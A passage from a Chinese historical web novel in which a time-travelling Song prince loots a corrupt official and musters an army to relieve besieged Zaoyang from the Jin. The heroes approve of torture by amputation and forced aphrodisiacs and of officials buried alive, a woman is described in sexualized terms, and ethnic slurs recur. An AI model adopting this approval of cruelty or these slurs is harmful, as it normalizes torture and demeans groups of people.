道士在进屋的一瞬间,便看到了史嵩之的惨样子,好悬没吐了,赶忙回到“;有有有。“边说着,边匆忙自腰间取下一个葫芦,交到了宋宇手上。
宋宇继续对着忠义军士兵吩咐“;你去把这史嵩之最美的小妾领来此处。哦,对了,就是史大人最近花十万贯刚买的秦淮花魁。“
忠义军士兵再次领命而去。 不多时,押送着一个女子走了进来。跪倒在宋宇身前。
那女子见到宋宇的第一时间,便跪着挪动到了宋宇脚边,抱着宋宇的腿,嘤嘤抽泣“:大人,奴家什么都不知道,刚被史嵩之买到府内没几天,大人,只要您放了奴家,奴家愿施展浑身解数,让大人您夜夜开心。”
宋宇嗤笑一声“:我不是什么大人,只不过是路边为了少交税,用一条腿扛着大米,蹦来蹦去,艰难存活的普通百姓。你那镶了金边的小洞,我可用不起。”
宋宇言罢,一脸嫌弃的踢开了那女子“:起来说话。”
那女子第一次见到有男人不馋自己身子的,错愕之余,缓缓站起了身。
宋宇余光一扫,就见这女子穿着一件比小小当日还要暴露的黄色薄纱裙,薄到胸口那两朵红晕,以及胯下那一丛茂盛的小草都能看的清清楚楚。
在向上看,就见这女子生着一双魅惑灵动的大眼睛,天见尤怜。仅仅一眼,便摄人心魄。
宋宇赶紧收回眼神暗道:怪不得世人为这东西不惜抛妻弃子,铤而走险。原来这东西,对男人的杀伤力这么大。
“:我不会伤害你,你只需要做一件事。”
“:奴家愿悉心照顾大人。”
“:不是照顾我,是照顾史大人。”
“:啊?”
宋宇也不墨迹,直接命令女子站到了史嵩之床边,自己则从葫芦内倒出几粒壮阳药,命令士兵掰开史嵩之的嘴,将药强行喂给了史嵩之。
做完这一切,宋宇将壮阳药葫芦丢给一旁的忠义军士兵,又对着他吩咐道“:药劲儿过了就给史大人续上。没药了就找道士炼。另外这位姑娘的身子,只许史大人看,不许史大人玩。”
两个士兵慌忙领喏。宋宇这才领着严用和向屋外走去。
到了前院,宋宇坐在了一块石阶上“:严郎中,你可有家眷在这襄阳?“言罢,宋宇拍了拍屁股旁边石阶,示意严用和一并坐下。
严用和有些受宠若惊“;殿下,可不敢跟您平起平坐。“言毕,也不敢坐,就傻愣愣的站着。
宋宇一把将他拉了过来“:坐着聊天多舒服?再者,本殿下说了最烦那些个礼数,以后你若是再不听劝,我可要生气喽。推来推去,着实麻烦。“话到此处,宋宇一脸笑意询问道”:兄弟可有家眷在襄阳?“
严用和明显有些拘谨“:殿下,草民,家中已无他人。“
语毕,严用和面上露出伤感之色,顿了顿才继续说道”;前些年倒是有妻有子。只是,唉!“
宋宇眼见严用和吞吞吐吐的,急忙问道“:有难处?”
严用和摆摆手“:那倒不是,实话跟您说,这襄阳城,已是住不得人了。”
听着严用和云里雾里的言语,宋宇很是迷糊“;有什么难处你就说,我最烦吞吞吐吐打哑谜。”
严用和见宋宇没听明白,捋了捋胡须,缓缓道出了一段心酸的往事。原来,早在两年前,严用和还是个有妻有子得幸福男人。
虽则朝廷因为乱发纸币,导致纸币一路狂降,物价高得离谱,但身为郎中,严用和家倒还能对付着过。
第七十五回 穷人的快乐 富人的快乐
可自从史嵩之到任后,恍若天灾降临,让整个襄阳城的百姓全都陷入了举步维艰的生存境地。
首先严用和的店铺,便维持不下去了。沉重得税银,哪是严用和这样的普通百姓负担得起的?
随着欠官府的税银越来越多,严用和家得日子也越来越拮据。短短数月,不满三岁的儿子,便由于长期营养不良,早夭了。
严用和的老婆,由于没有儿子拴着,不愿在跟着严用和过苦日子,也干脆的拍拍屁股,走人了。
像严用和老婆这样的人,要么就是去了有钱人家为奴为婢,要么就是加入了花街柳巷,卖肉为生。或者干脆逃离了襄阳这个地狱,另谋他处去了。这严用和也懒得多提她。
宋宇听完严用和讲完自己的遭遇,拍了拍他肩膀“:怪不得你身为郎中,本以治病救人为己任。但在见到被截肢之人是史嵩之时,会爽快的答应了本殿下的要求,原来你也有段心酸的往事。”
话到此处,宋宇声调忽然抬高“;这些个赃官污吏,平素也就欺负老百姓还行,真个见了敌人,一准拉稀。待到日后掌权,定要将这些烂货,宰个干净。”
严用和见太子言语粗俗,非但没感到违和,反倒乐了“:想不到我大宋的太子,竟也会说出如此话语,草民真是长见识了。”
宋宇哈哈一笑“:若非这太子身份,又如何能过把劫富济贫的瘾?”
严用和看着一脸认真的宋宇,突然站起身,跪在了地上“:殿下,草民无依无靠,愿追随一生。”
宋宇在那边吹牛打屁,余阶等人仍在不停的开箱清点金银,杨妙珍则指挥着一队队忠义军士兵,将一箱箱金银向后院运去。不时的呼喝两句“:都把招子放亮点,若是有人监守自盗,坏我忠义军名声,到时可别怪我翻脸无情。”
相比杨妙珍,刘全这位娘舅,却未见有多上心。只见他一直跟随在杨妙珍身旁,小声的对着杨妙真嘀咕什么“:妙珍,这太子,好狠的心,那史嵩之听说被他截肢了,那些跟随史嵩之的官员,也都被他拉去闹市活埋了。”
杨妙珍许是忙不过来,许是烦了“:娘舅,你看我忙的恨不能多生两只手。你还在这里唠唠叨叨干嘛?唉,娘舅你也见过襄阳百姓的惨样。怎么的?只许他史嵩之折磨人?不许人折磨史嵩之?再者,那些个官员跟着史嵩之沆瀣一气,蛇鼠一窝。要换了我爹的脾气,他们的下场更惨。至于活埋,那是我出的主意。哼...这些人不知道祸害了多少老百姓?今日有此报应,实是活该。太子殿下太过仁慈,一直在犹豫怎么处置他们。”
刘全听这杨妙珍才跟了太子几天,就胳膊肘往外拐了,有些吃醋的说道“;妙珍,娘舅是为你好,娘舅怕你被人卖了,还帮人数钱呢!”
杨妙珍听了刘全这段醋味极重的话,停下了忙碌,转过脸一副恨铁不成钢的样子说道“:娘舅,做人要知恩图报,殿下当日在江上不杀我等,已是大恩。如今我等又有何脸面背地里说人坏话?”
刘全显然不是能轻易被劝服的人“;他救咱们,咱不是也帮他运粮,报答他了么?”
话到此处,刘全故意压低了声音,一脸神秘的说道“:妙珍,你说咱这次帮了他这么大忙,他会不会贈咱些金银?到时回了山东,也不怕李全笑话咱们办不成事了。要知道,李全可是最爱金银呢。”
杨妙珍立马示意刘全闭嘴“:娘舅,莫要瞎啄么了,就帮忙押送点金银,也好意思跟人要赏赐?即使他真给,我也没脸要。”
刘全一副恨铁不成钢的样子“:哼,你这傻丫头,跟你爹当年一样,死心眼。当年你爹要听了我的,哪会落得身首异处得下场?”
不提这事倒好,一提这事,杨妙珍明显有些愠怒“:娘舅,莫要再胡说了。妙珍觉得我爹做得很对,是个敢做敢当的大英雄。”言罢,也不再理会刘全,气愤的转过身,往继续指挥忠义军搬东西去了。只留下刘全一人傻愣愣的站在原地。
整个下午,宋宇都与严用和坐在石阶上聊天。直到太阳将落之时,忙了一天的余阶他们才停了手,次第向宋宇走去,“:殿下,小弟已将全部银两清点完毕,这次抄家,共得金银四千余万两。现已悉数入库。还请殿下放心。”
宋宇点点头:四千万两,还真是挺有钱啊这帮人,大宋一年国库收入的一半,这还没算土地田宅这些不动产。甚至好多金银流向了寺庙和烟花柳巷“:余兄弟受累了。”
余阶擦了擦额头汗水“:为殿下分忧,小弟恨不能多生四只手。”
言罢,站到了一旁。
孟珙并一众指挥使则走到了宋宇面前,单膝跪地说道“:殿下,兵装已经发放完毕,士兵随时可以出发。”
“:几位也起来吧。待会为你们接风洗尘。”宋宇摆了摆手,示意他们起来。
几人慌忙称谢,站到了一旁。
接下来则轮到了刚刚回府得田奇等人,只见田奇站出来拱手道“:殿下,两日来奔波,采收毛驴千余匹,现已将毛驴交给了江指挥使,待明日,若在收个千余匹,咱这骑兵也算小有规模了。”
江海忙接口道“:这些毛驴,末将已经分配给了骑营之内,最为熟稔得好手。还请殿下放心。“
田奇见江海说完,随之说道“:尊殿下令,四处采买耕牛,已得近千头。现全都放在了城北步营中。待到明日,草民在亲自调教。”
“:牛铠打造如何了?”
“:殿下,工匠第一日便招募足数,日夜打造。想必再有明日一日,就能凑够前排头牛所用的一百牛铠。”
宋宇笑着感激道“:辛苦你了。”
“:能为殿下效力,是田奇的荣幸。”
彭义斌也站出来说道“:太子兄弟,俺那些囚犯兵,经过俺滴温柔指导,已经能上战场了。”
“:他们全都是用刀?铠甲齐了没?”
“:跟俺习武,肯定是大刀。至于铠甲,俺看那些个营兵一个个瘦的跟小鸡崽儿似的,俺可怜他们,把铠甲送他们了。”
“:不穿铠甲,不太好吧?要不让余阶在帮你想想办法?”
“:殿下你可小看俺们了,就一身囚犯服,整整齐齐,身手矫健。殿下你就瞧好吧。”
宋宇砸吧砸吧嘴,暗道彭义斌豪放,他带的兵也随了他豪放的性子?
眼见他一脸认真的打包票,宋宇也不好再多嘴“:既然让你带兵,我也不好再多说什么,缺什么你就找余阶,现在仓库里都是银子。”
“:那些银子,你就留着回来打赏俺们就成。”
“:那好说,现场所有人,包括营内所有士兵,杀一个金兵,本殿下给五十两银子。”
宋宇这句话一出,所有人全都吸了吸鼻子,余阶在旁劝道“:殿下,是不是给的有点多了?”
相比于余阶,彭义斌则是一脸兴奋“:太子兄弟,俺怕你那点银子到最后不够赏赐。”
宋宇嗤笑一声“:不够赏赐?这次金人五万余,全杀了也不过二百五十万两银子罢了。这点钱,相比于史大人的家产,九牛一毛而已。”
宋宇话音刚落,周围众人脸上早已难掩兴奋之色。
眼见他们因为这几十两银子开心的跟小孩似的,宋宇不住地摇头,暗道,同样是钱,在史大人那里,五十两擦屁股人家都嫌弃,可相对于这些底层士兵来说,却成了泼天的富贵。
宋宇摆摆手,压下躁动不安的指挥使们,这才不急不慢的说道“:余阶听令。”
“:在。”
“:本想让你休息一天,可接下来还有一堆事。”
“:小弟但凭殿下吩咐。”
“:明日你将史嵩之等人颁布的那些个乱七八糟的赋税,一并取消了。另外张贴榜文,向全荆襄地区求贤,至于取贤的条件,余兄弟你自己做主便好。”
“:殿下,你不亲自?”
“:我相信你的眼光,另外,我看最晚后天,大军就要出发。余兄弟,这一战兵力悬殊,生死犹未可知。我若回不来,你们就向北,逃亡山东。不过我不建议你们投靠李全,他小肚鸡肠,容不下人,你们最好能...”
宋宇话到此处,余阶等人纷纷开口“;殿下莫怕,有我们在,此战必胜。”
宋宇看着信心满满的一群人,拱了拱手,继续说道“:今日且到此为止吧。待到明日,所有没有差事的兄弟,都可以收购牛与毛驴。余阶你与四娘子明日带了金银,但凡现在襄阳城内的兵丁,每人十两赏钱。务必要让每个兵丁都收到。还有,明日继续宰牛美酒让士兵们开怀畅饮。”言罢,宋宇看着面前众人都没什么事了,这才哈哈大笑着说道“:走,忙了一天。本太子设宴款待你们。”
宋宇这边筹谋备战,要去援救枣阳。此时枣阳城外。一顶金色帐篷之内。大金国的三阿哥完颜守绪,正在听着面前的一众将领禀报“:三阿哥,围困了这么久,按照史嵩之派来那人所说城内粮草几何,枣阳城内应该早就没粮了。另史嵩之前几日派来那人催促阿哥你速速拿下枣阳。并叮嘱说,拿了枣阳之后,还需尽快将剩余许诺银两差人送去。”
第七十六回 大金三阿哥 枣阳的情况
完颜守绪有些微怒“:他史嵩之别的本事没有,要钱倒是挺积极。他可知道,我大金国的勇士,正在浴血拼杀。这城就算是打下来,功劳也不是他史嵩之的。”
撒完气,完颜守绪发觉有些失态,叹了口气,扭头对着一位将军说道“;讹可将军,你且好生款待史嵩之府上来人。告诉他,待取了枣阳,大肆掳掠一番。定然少不了他史嵩之那份。”
三阿哥完颜守绪话音刚落,讹可将军便应声退了出去。
旁边一文官打扮之人插话道“;三阿哥,现在要不要传令全军,猛攻枣阳?”
完颜守绪摇摇头“:不急,且让众将士饱餐美食。明日在全力攻城。”
帐内诸将一听,都是深以为然,只见一光头之人说道“:三阿哥,这孟宗正也是个不通晓事理得蠢才。整个宋国都糜烂无比,偏偏他一人要站出来出风头。也是合该他倒霉。”
完颜守绪见说,有些惋惜的回道“:唉,可惜了一员忠义之将,就这么被我们和史弥远内外夹攻玩死了。你们说说,他若是听了本阿哥劝降,投效我大金国,何至于如此凄惨收场?再者说,我女真人现在不也说汉话,取汉家媳妇吗?凭什么他汉人将军,就不能为我金国效力?要知道,我女真人,可比他汉人更加敬重忠勇之人。这么些年统治北方,汉人百姓不也安居乐业?反观他赵宋朝廷,奸佞之臣是层出不穷。百姓怨声载道,时常叛乱。若是让我女真人治理,哪会有人造返?”
如果宋宇这个过来人听了这番话,估计能破口大骂:你女真人会治理?放屁,你女真人两次统治汉人,第一次养大个蒙古,血洗亚洲。让持续了三千年的华夏文明第一次被连根拔起。第二次,直接引来了整个西方世界。两次统治,都是悲剧结局,这是巧合吗?
“;所以皇上才说,北边损失南边补。这才是我大金国唯一的出路。这汉人窝里逍遥,咱就外边欺负。待到将整个宋国拿下,嘿嘿,咱也凭借长江而守。与蒙古决一雌雄。”只见一中年将军答道。
哪知却引来那文官模样之人反对“:三阿哥,莫要如此想。现今我大金国已四面楚歌,小臣之所以答应三阿哥再攻枣阳,实是想以战促和,迫使那赵家皇帝,同意再次缴纳岁币而已。想我大金国现今形式,早已不复当年,若想灭宋,有三不可。其一不可,我大金国已今非昔比,疆域促狭,仅剩黄河以南领土。粮草兵源匮乏,宋军虽弱,但宋国钱粮兵员充足,与我大金国对耗起来,只怕会耗死我大金国。此乃国力不可。其二不可,现今南宋虽有史弥远兄弟为祸,但宋人对我大金国却有切齿之恨。比之内患,一旦把大宋逼急了,宋人更加会痛恨我大金这个外患,而非史弥远这样的奸佞。此乃民心不可。其三不可,现今我大金国四面受敌,北有耶律留哥,西北有蒙古,西面西夏,南面宋国,无一例外,全都在与我大金国开战。如此形式,焉能有力灭宋?此形式不可。有此三不可,三阿哥切不可一时兴起,南下深入宋境。只把宋人当作下蛋的母鸡来养,见好就收,切不可杀鸡取卵,得不偿失......”
完颜守绪听完这一番分析,叹了口气“:多谢先生提醒,守绪受教了。”
金营正在商量攻城事宜,此时枣阳城墙上,士兵都在严守岗位,不时有城内百姓运送水粮箭矢等。这些百姓中,甚至有牙都没长全的娃娃。
城门楼的垛口前,并排站着四位身着盔甲的将军,当先一人须发皆白,正在目视远处金营,身旁三人虽年轻了许多,但看上去却又英武不凡。这年龄大的,便是孟宗正,身后三个,是孟宗正的三个儿女,依次为儿子孟璟,孟璋,女儿孟英。 只见孟宗正打量金营许久后,才回头对儿女们说道“:唉,这金狗围城数月,却不攻城,也不知是在盘算什么?”
大儿子孟璟哈哈大笑道“;父亲,这些个金狗,定然是被父亲威名吓到了,儿子听闻,这金人背地里称父亲你为孟爷爷。”
话一出口,引得周围众人哈哈大笑,只见孟宗正边笑边说道“:这些个畜生,也配叫为父爷爷?为父可不会和这些个金狗攀亲戚。“
话到此处,孟宗正顿了顿,收起了笑容,转而面容严峻的说道”:不过,城内粮草已经断了三日,若是孟珙那孩子,在唤不来救兵,我等只怕会饿死在这城内。”
几个儿女被孟宗政这么一提醒,也是面露忧色,只见女儿孟英说道“;爹爹莫怕,孟珙虽然年幼,却是有勇有谋。想来定然能说服那史嵩之。”
哪知一提这史嵩之,孟璋立马勃然大怒“;这狗官,枣阳被困近半年,屁都不放一个,真真的窝囊到家。”
孟宗正见孟璋胡言乱语,忙打住道“:莫要胡说,朝廷派史大人来,岂会有错?想来史大人是有什么难处,过些日子,定然会来救我等。”
孟宗正哪里知道,自己真的一语成谶,这史嵩之确实遇到了麻烦,还是大麻烦。此时正仰面朝天,躺在床上,看着面前那穿着暴漏的秦淮花魁小妾,兴奋地涨红了脸,直流鼻血,可这小妾却不敢近前帮忙擦拭,只是老远的看着,任凭史嵩之如何呼唤,也都左耳进,右耳出。
宋宇整军备战三日,终于组建好了军队,此时朝阳新升,照耀在演武场上,早起觅食的鸟群,不时从上空喳喳叫着飞掠而过。
宋宇握剑站立校场高台之上,观看这两日来兄弟们的成果。只见田奇骑在一头硕壮的公牛背上,有条不紊的指挥着两千余头牛在校场狂奔,那声音,咚咚咚真如打雷般。扬起的烟尘遮天蔽日。
宋宇依稀记得田奇当时说过,这**之中,只要降服了头牛,便可任意指挥。所以第二天,这田奇便把所有强壮的牛,都赶到了一块,任其搏杀。
最后获胜那只,在与田奇搏斗。好一番斗牛表演,这田奇终于降服了头 牛。
“;殿下,这田奇兄弟,着实有些本事,不光有本事,还有胆量,别看这田奇兄弟细长瘦高,不堪一击,但昨日与那头牛斗智斗勇,着实是让小弟大开眼界。“一旁余阶夸赞道。
宋宇昨日蜗居在史府,与张三丰讨要剑法秘诀,哪知张三丰却说宋宇现在练什么都晚了。硬是没答应。
无奈之下,宋宇开始对着张三丰死缠烂打,就差跪下喊师傅了,最后张三丰被宋宇闹腾烦了,随手将一本真武剑法扔给了宋宇。
结过宋宇一天也没出府,细心研究剑法招式。现在听余阶竟然赶上看斗牛了,很是好奇。
“;你昨日不是派送银两么,怎的有空来此看斗牛?“宋宇甩动昨日累的酸疼的手臂,反问余阶道。
余阶哈哈一笑“;事有凑巧,昨日小弟派银到此,正赶上田奇兄弟这出好戏。”
宋宇鄙视的看了一眼幸灾乐祸的余阶,转移话题道“;现在骑兵有了,**有了。兵丁有了。看来明日就可出发了。“
“;殿下想要怎样解救枣阳?“余阶的意思很明显,想要问问宋宇,这枣阳怎么个救法。
宋宇细一思量,转过头问孟珙道“:孟兄弟,这几日太忙,也没细问你枣阳城外,金军的情况,现在孟兄弟可否详细说来?“
孟珙刚才一直在听宋宇两人谈话,但却一直没多嘴,毕竟比起余阶来,自己是新来的。现在宋宇问起自己,孟珙便将这枣阳的情况大致说了说“:殿下,枣阳城外五万多金军,其中重骑五千余,轻骑五千余,步军三万余,其他弓弩炮石营内密布。另外,樊城已被金军攻占,驻守樊城得,大概也得四万余人,我们若是救枣阳,樊城兵马可朝发夕至。不得不防。“
宋宇听完孟珙讲述,叹了口气“;加上樊城,大金国近十万兵马,还真是不太好对付。”
孟珙继续补充道“:殿下,除了襄阳,西边均州,东边安丰军等地,皆在与金人鏖战。胜负暂不可知。”
真是不问还好,一问吓一跳:想不到两国打的如此激烈。这金人也真够缺心眼的,本来南边宋国小日子过得挺好,年年给你送礼,喊叔叔,你不给糖吃也就算了。
现在你被蒙古打得屁滚尿流了,不想着找蒙古报仇,反倒来南边欺负本来就怕你的宋国。
结果还没欺负住。打成了僵局。这场仗打到现在,断断续续四五年了,如果没意外,还会再打数年。
两边对耗,大金国表面有史弥远暗中帮助,抢了不少。可这期间损失的兵力着实惨重。可以说宋金这场战争,纯粹就是一场没有意义的面子仗。
宋国为找面子,金国为了不丢面子,顺道抢劫。白白死伤了无数军民,放任蒙古继续做大。
第七十七回 万事已齐备 校场点将台
其中金国要对这一切负主要责任。金国这种心态就是摆明了,死也要拉上一个垫背的。倒霉的是大宋是那个垫背。
现在宋宇来了,能改变这一切吗?若是数月前这样问宋宇,宋宇会果断的说不知道,但几个月下来,经历了无数波折,认识了一个个爱恨分明,有血有肉的英雄人物。宋宇会笑着说,有得拼。
“;那枣阳城外金军何人带领?可有多谋武勇之士?”宋宇认真的问道。
孟珙细一思量“;多谋之人倒不晓得,这金人向来重武轻文,少有智谋之士。但若说武勇,却是有三个刺头。分别是人称花帽和尚的,完颜陈和尚。好将俘虏绑上柴草,放火烧死,人称草火讹可得完颜讹可。骁勇善战,平素与手下军士同吃同住,同甘共苦的小吴起,完颜合达。这三人武艺出众,骑射一流。都是金国三阿哥手下颇受信赖的猛将。”
“;啊?三阿哥?是谁?”宋宇听前边三个名字倒也晓得,但孟珙提到三哥哥,宋宇倒一时摸不清是谁了。
孟珙回道“:这金国本来有三个阿哥,大阿哥已经身死,只剩二阿哥完颜守纯,与三阿哥完颜守绪。这完颜守绪明显比兄长守纯更得金国老皇帝喜爱,在大阿哥身死后不久,便被老皇帝立为太子,并将枢密使之职一并交于了这三阿哥守绪。可以说是皇位准继承人。任枢密使不久,这三阿哥便大肆改革金国军队,方才说的那三个猛将,都是这三阿哥破格提拔的。用金人的话说,那叫潜邸的奴才。”
宋宇抽了抽鼻子:这金国得枢密使,可是比大宋的值钱多了。权力也大。像史弥远,虽是丞相兼枢密使,但相比起金国的枢密使来,差了十万八千里。
为啥?因为金国女真人实行猛安谋克制。猛安是千户,谋克是百户。说清楚点,就是全民皆兵。
可以说谁是枢密使,谁就掌握了一个民族。但不包括汉人。汉人不入编。不当兵,只用老老实实给猛安谋克种地做奴隶就好。
打仗那是大女真民族的事。所有大女真民族的人,只用习武遛鸟就行。别的什么都不用学。
当然,也不是所有汉人都当奴隶,有些有本事的。都投靠了大女真民族。在后世来说是投靠,在当时也被称为汉奸。
这些人靠着自己的汉奸身份,好的也能混上个地主坐坐,再好一点,金国主子赏你个一官半职,可以说小日子过的也是很可以的。
“;殿下?“孟珙一席话说完,只等宋宇回答,哪知宋宇却看着自己出神。无奈之下提醒道。
“;啊?刚才本殿下走神了。”
道了歉,宋宇继续问道“:那三位金人将领,比之孟兄弟武艺如何?”
孟珙见问,一脸傲气的对着宋宇回道“:这三个人,若不同时上阵,小弟向来不惧。”
宋宇看孟珙如自信,笑着说道“:那好,明日我等便去解枣阳之围。”
言毕,宋宇又补了一句“只是分几路人马,如何布阵,你可有建议?”
孟珙略一思量“;小弟认为,要解枣阳之围。殿下可如此这般。”
宋宇听了,倒没什么事,一旁余阶是不住的微笑点头“;殿下,孟兄弟所言甚是。”
宋宇砸吧砸吧嘴“;好像没我什么事啊。”
余阶慌忙在旁劝道“;殿下是我等的主心骨,只需坐镇后方,防守襄阳便可。”
宋宇听完一撅嘴“:屁,得着我享福,你们去送死?天下什么时候有这等好事了。不行,我要挂旗出征。余老幺,这襄阳由你防守。毕竟你是文官,处理城内政务得心应手。”
余阶听了,无奈的叹了口气“;殿下,凭般爱出风头,若是真有个闪失,我等岂不是成了没娘的孩子?”
宋宇将脸一板,不再搭理余阶,反倒是对着一旁的彭义斌说道“;彭兄弟,你说说,我该不该亲自出征?”
彭义斌几乎没过脑子似的“;殿下兄弟,俺支持你。”
余阶一看还真有不怕事大的,在旁呵斥彭义斌“:唉?彭兄弟,你?”
彭义斌嘴角一扬,一脸不服气的说道“:余兄弟,婆婆妈妈,有完没完?再说了,殿下又不是没上过战场,上次和俺们一场大战,殿下不是亲自上阵?”
余阶听这浑人一通说教,竟无言以对“;你,罢了。哎,既然殿下铁了心,小弟也不再劝了。且信你们一次,彭兄弟,孟兄弟,殿下的安危,就拜托你们了。”余阶言罢,面有不悦的对着宋宇告辞,随即回史府继续处理政务了。
宋宇目送余阶离去,这才转过头,却见彭义斌一脸自信的对着自己拍了拍胸脯“:太子兄弟,你放心,俺皮糙肉厚,上了战场,你只管躲在俺身后。”
周围众人看着彭义斌憨憨的模样,顿时笑的七仰八歪。彭义斌自己反倒没事人似的,冷哼一声,摇头晃脑的忙去了。
之后,宋宇又观看孟珙训练骑兵,虽然看不懂这骑兵训练的要领,但听满校场毛驴‘饿啊’,‘饿啊’得叫唤。也是一种享受。
直到傍晚,小小等人才来到兵营。不过演练已经结束,宋宇他们此时正围坐在军营大帐内闲聊。
小小等人也不避讳,径直走进了大帐。
见过礼后,谢道清有些生气的开口问道“;殿下,你不饿吗?”
“;吃过了,军营里,啊!忘了差人告诉你们一声。”宋宇一脸愧疚的答道。
谢道清看宋宇主动道歉,这才收起了怒意“:下不为例。”
“;下不为例。”宋宇赶忙应承道。
正在这个档口,田奇掀开帐篷,走了进来。身后还跟着一队工匠。只见这些工匠手捧牛铠。次第走进了帐内“;殿下,牛铠已经全数送来,共一百二十副。虽然动员了全城几乎所有工匠,但由于时间紧迫,只能做出这些了。”
宋宇赶忙站了起来“;辛苦了,有了这铁牛阵,胜算再添几成。”
田奇又指着地上盔甲说道“;殿下,这有一套唐十三铠之一,明光铠,是余阶托我捎来的,他说战场刀剑无眼,就算有了铠甲,殿下也要加倍小心。”
宋宇盯着那套金色铠甲,心中激动不已。忙不迭的呼唤身边众人帮自己穿上。
待穿上后,就觉这盔甲着实不轻,估摸起码五十多斤,这还是余阶特意挑的比较轻的。要是换上札甲,或者大宋著名的步人甲,重量更重。
谢道清盯着宋宇看了一会,说道“;殿下这身铠甲总感觉缺点什么。”
思虑了片刻,随即恍然大悟“:来人,给殿下铠甲扯块红布做披风。”
不多时红布拿了进来,谢道清从宋宇腰间抽出仁剑开始裁剪,不多时成型,谢道清随即将披风固定在了铠甲之上。
一脸开心地说道”:这回威武多了。“
“:多谢清儿,明早我就要出发了。”
“:殿下,是我们。我绝对不会在殿下你身边添乱。看到帐篷外战鼓了没,清儿和小小便是殿下的鼓手。”
宋宇眼见这俩姑娘连上战场的行头都准备好了,自嘲似的笑了笑,对着谢道清叮嘱道“:一切小心。”
“:殿下也是...”
时间已晚,第二天还要出征,几位姑娘全都在大营安歇。宋宇为了省去第二日穿盔甲的时间,一夜没脱,硬邦邦的睡了一晚。
第二日一早,天气晴朗无云,军营内。鼓角声不断响起,催促着营内士兵列队。
宋宇洗了把脸,掀开帐篷走了出去。谢道清迎面走了上来,身后还跟着一个小兵,肩膀上扛着送给宋宇的那面龙旗“:殿下,这面旗一定要交给值得托付之人,主帅的旗帜,关乎战争胜负,万万不能倒下。”
宋宇点了点头“;多谢清儿提醒。”
随即领着那名小兵奔着校场当中点将台走去,一众兄弟早早便等在了那里。见宋宇走来,纷纷拱手行礼。
宋宇回礼后,正身看向台下士兵,只见他们队列整齐,齐齐注视着自己。
宋宇从身边小兵手中接过龙旗“:诸位,本殿下会和你们一同出征,这面龙旗,就是本殿下和你们并肩作战的证据。可有人愿扛起龙旗,令其始终屹立不倒?”
宋宇言罢,台下众将士纷纷举手报名。宋宇左右打量,就见年过六十的骑营指挥使江海一脸期待的盯着自己看。
“:江指挥,这个重任,便交给你了。你可要寸步不离,跟在本殿下身边。”
江海小跑着走上高台,接过龙旗“:殿下,只要老将还有一口气在,这面旗,便会屹立不倒。”
选好了扛旗人选,宋宇扫视了一圈台下将士,看着那些被史嵩之祸害的皮包骨的将士,宋宇颇有些悲怆的说道“:诸位将士,看到你们身体消瘦,我实在难以开口请求你们再为这天下百姓,为大宋做些什么。我代大宋,向你们赔礼了!”
言罢,宋宇对着台下,深深鞠躬。
在场所有人无不被宋宇这个突兀的举动所震撼。
人群中不知有谁喊了句“:殿下,祸害我们的是史嵩之,殿下是救我们的大恩人。”
第七十八回 出征救枣阳 夜袭七方镇
又有人喊道“:殿下,要去哪打仗您就直说,我们正好报殿下这几日好酒好肉款待的恩情。”
也不知是谁高喊了句“:战!”
紧接着全场附和“:战!战!战!”
宋宇听着雷鸣般的喊战声,不知怎么的,眼角有些湿润:哎...史嵩之犯得过错,却要这些最卑贱的,被他们视为蝼蚁之人来买单。圣人说,天道无情,因为无情,所以不会偏爱任何一个人。又因为不会偏爱,所以能够无私的对待每一个人。又因为无私,所以天道能秉持着最完美最公正的视角看待众生。
可自己这一路走来,所见皆是史嵩之这样锦衣玉食,娇妻美妾的肉食者,在肆意欺凌素食者。这天道,真如圣人所说的那般公正吗?
想到这里,宋宇挺直了身子“:诸位将士,我替犯下过错的史嵩之,还有临安城那些满口仁义道德,闭口道德仁义却暗地里男盗女娼,怯弱贪婪的官老爷们,给你们道歉了。”
“:战!战!战!”
台下再次响起请战声。
“:诸位,枣阳被女真人围困数月,城内粮草数日前已经耗尽,一城百姓马上就要活活饿死。我替枣阳的百姓军民,先一步谢谢你们了。”
“:战!战!战!”
宋宇听着请战声,没有再出声,直到请战声渐渐消逝,一直站在宋宇身边的江海出声道“;殿下,军队经过重新编练,已经没了名号,还请殿下赐名。”
宋听了江海提醒,皱眉寻思:当年岳飞的军队顶着三个名号,分别是背嵬军,意思是背着盾牌的士兵。踏白军,专门负责打先锋的部队,游奕军,侦察巡逻袭扰的部队。这些名号直接借用,会不会无形中增加部队的士气?
想到这,宋宇正色下令道“:孟珙听令,命你带领城外两位骑营指挥使,并骑马骑兵一百余,充作先锋,名号游奕军,负责侦察袭扰。“
”:领命。“
”:杨妙珍听令?命你带一千驴骑,随后压阵,名号踏白军。”
“:喏!”
“:彭义斌听令,命你带本部囚犯兵紧随驴骑。”
“:领命。”
”:王坚吕文德听令,命你二人带剩余营兵,最后压阵,与彭义斌军队,并称背嵬军。“
”:领命。“
”:田奇听令,命你率领**,最后出发。“
”:领命。“
“;程保赵国听令,命你二人跟随在本殿下身边,保卫主帅以及帅旗安危。”
“:领命!”
“;全军听令!出征!”
全军得令,依照顺序,次第开拔。
宋宇安排好了一切,这才回头看去,扫视了一圈身后众人,最后将目光定格在张三丰身上。
张三丰见宋宇看来,捋了捋胡须,笑着说道“:殿下,战阵之事,非我所长,贫道就不随你去了。”
”:真人一定要等我回来,到时定要再与道长煮茶闲聊。”
“:哈哈哈!那贫道在襄阳静候殿下凯旋!”
宋宇对着张三丰拱了拱手,随即领着江海走下高台,谢道清和小小此时也牵着毛驴走了过来,宋宇见她俩一身功夫装,还穿了护身皮坎肩,对着她俩点头笑了笑,随即翻身上驴,紧随彭义斌囚犯兵之后,奔着大营外而去。
按照孟珙提供的情报,枣阳位于襄阳东北方向,一路急行军,需要一日夜的时间。出了襄阳,会先沿唐白河向北,至两河口转向东方,突袭驻守在七方镇的金军。
拿下镇子后,便能没有后顾之忧,直接攻击金军大营。
话说宋宇一行出了大营后,行走在城内,由于是早晨,行人较少,只有稀稀拉拉的商贩开始陆续摆摊。
宋宇见摆摊的商贩不少,暗道自己取消苛捐杂税的政令实行的不错。但愿襄阳能早日恢复商贾云集,四通八达的往日盛景。
却在这时,胯下毛驴‘饿啊’‘饿啊’叫唤了两声,宋宇竟直接拔出腰间仁剑,从马鞍袋内拿出一根胡萝卜,插在了仁剑之上,放到胯下毛驴鼻子前,饶有兴致的挑逗着毛驴那根饥饿的神经。
这动作,可谓是不要脸到了极点。这毛驴被宋宇糊弄的,双眼盯着萝卜,伸出舌头想要舔,却怎么也够不着。逗得宋宇哈哈大笑。
一旁谢道清实在看不下去了,一脸恨铁不成钢的说道“:殿下,我们可是去打仗,您能不能严肃点?”
